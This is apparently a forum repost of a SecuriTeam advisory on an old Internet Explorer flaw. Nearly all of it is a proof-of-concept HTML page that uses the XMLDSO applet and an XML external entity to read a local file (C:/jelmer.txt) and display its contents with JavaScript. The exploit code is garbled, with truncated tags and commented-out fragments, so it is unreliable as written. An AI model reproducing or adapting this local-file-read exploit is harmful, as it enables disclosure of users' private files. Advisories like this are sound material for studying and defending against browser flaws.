02/08/22 14:36 .net
Internet Explorer Can Read Local Files (XML Datasource)
URLﾘﾝｸ(www.securiteam.com)
<html>
<head>
<base href="file:///C:/">
</head><body>
<!--let code="com.ms.xml.dso.XMLDSO.class" width="0" height="0" id="xmldso" MAYSCRIPT="true"
<?xml version="1.0"?
<!DOCTYPE file [ <!ELEMENT file (#PCDATA)
<!ENTITY contents SYSTEM "file:///C:/jelmer.txt"
] <file
&contents;</file
</appl-->
<!--ipt language="javascript" setTimeout("showIt()",2000);
function showIt() {var jelmer = xmldso.getDocument();
alert(jelmer.Text);}
</scri--></body></html>